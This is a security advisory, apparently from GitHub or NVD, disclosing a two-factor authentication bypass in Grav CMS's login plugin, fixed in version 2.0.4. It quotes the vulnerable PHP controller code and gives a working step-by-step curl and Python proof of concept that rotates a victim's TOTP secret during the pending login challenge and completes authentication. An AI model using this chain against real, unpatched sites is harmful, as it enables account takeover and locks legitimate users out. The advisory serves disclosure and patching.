Grav: 2FA Bypass via 'login.regenerate2FASecret' - Secret Rotation During Pending Challenge
漏洞描述
### Summary When 2FA is enabled on an account, submitting correct credentials authenticates the user but leaves them unauthorized pending TOTP verification. During this pending-challenge window, the `login.regenerate2FASecret` task which requires only `$user->exists()`, not `$user->authorized` can be called without a CSRF nonce. It overwrites the victim's `twofa_secret` on disk with an attacker-chosen value, returns the new secret in the JSON response, and the attacker computes a valid TOTP code to complete the 2FA flow. The second factor is **reduced to password-only**. The exploit was confirmed live after enabling 2FA to a user. ### Details Four code locations in login plugin v3.8.10 enable the chain: **1. Session user set even with 2FA pending** `user/plugins/login/login.php` - `userLogin()` assigns `$session->user = $user` before TOTP verification completes. This makes `$this->grav['user']` point to the victim in the pending-challenge window. **2. `taskRegenerate2FASecret` - no authorization check** `user/plugins/login/classes/Controller.php` ```php public function taskRegenerate2FASecret() { $user = $this->grav['user']; if ($user->exists()) { // ← only checks exists(), NOT authorized() $secret = $twoFa->createSecret(); $user->twofa_secret = $secret; // overwrites victim's secret on disk $user->save(); $json_response = [ 'status' => 'success', 'image' => $image, 'secret' => trim(preg_replace('|(\w{4})|', '\\1 ', $secret)) // ← returned to attacker ]; } } ``` **3. No CSRF nonce required** `user/plugins/login/login.php` - the task dispatch switch only validates `twofa_cancel` for nonce. `regenerate2FASecret` is not guarded, making it exploitable via a single unauthenticated GET request on the victim's session. ### PoC **Confirmed live** on this instance after enabling `plugins.login.twofa_enabled: true` and configuring TOTP on the `user` account. ```bash # Step 1: Password-only login (lands in 2FA-pending; keep session cookie) LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://127.0.0.1/grav/login") NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+') curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST \ "http://127.0.0.1/grav/login" \ -d "username=user&password=Summer2024!&task=login.login&login-form-nonce=${NONCE}" # Step 2: Regenerate the 2FA secret (NO nonce required) curl -s -b /tmp/2fa.jar \ "http://127.0.0.1/grav/login/task:login.regenerate2FASecret" # {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...} # Step 3: Compute TOTP from the attacker-chosen secret python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())" # 152656 # Step 4: Complete 2FA with attacker's TOTP code curl -s -L -b /tmp/2fa.jar -X POST "http://127.0.0.1/grav/login" \ -d "task=login.twofa&2fa_code=152656" # Step 5: Verify - fully authenticated as victim curl -s -b /tmp/2fa.jar "http://127.0.0.1/grav/" | grep -o 'Grav User\|Logout' # Grav User Logout ``` ### Impact Complete 2FA bypass reducing the second factor to password-only. An attacker who knows the victim's password (via credential reuse, phishing, or cracking) can bypass TOTP-based 2FA by forcing a secret rotation during the pending-challenge window, computing a valid TOTP from the attacker-chosen secret, and completing the 2FA flow. The victim's legitimate TOTP secret is permanently overwritten on disk via `$user->save()`, locking them out of their own account. The endpoint requires no CSRF token, making it exploitable via a single GET request. A logged-in victim visiting `http://target/login/task:login.regenerate2FASecret` on any attacker-controlled page would have their 2FA secret silently rotated. Source Code Location: https://github.com/getgrav/grav Affected Packages: - composer:getgrav/grav, affected < 2.0.4, patched in 2.0.4 CWEs: - CWE-287: Improper Authentication CVSS: - Primary: score 7.4, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N - CVSS_V3: score 7.4, CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N References: - https://github.com/getgrav/grav/security/advisories/GHSA-7mgc-c7pq-3rr3 - https://nvd.nist.gov/vuln/detail/CVE-2026-62669 - https://github.com/getgrav/grav-plugin-login/commit/5d1b722298cb947d8f434025d121b99152a2c630 - https://github.com/getgrav/grav-plugin-login/releases/tag/3.8.11 - https://github.com/getgrav/grav/releases/tag/2.0.4 - https://github.com/advisories/GHSA-7mgc-c7pq-3rr3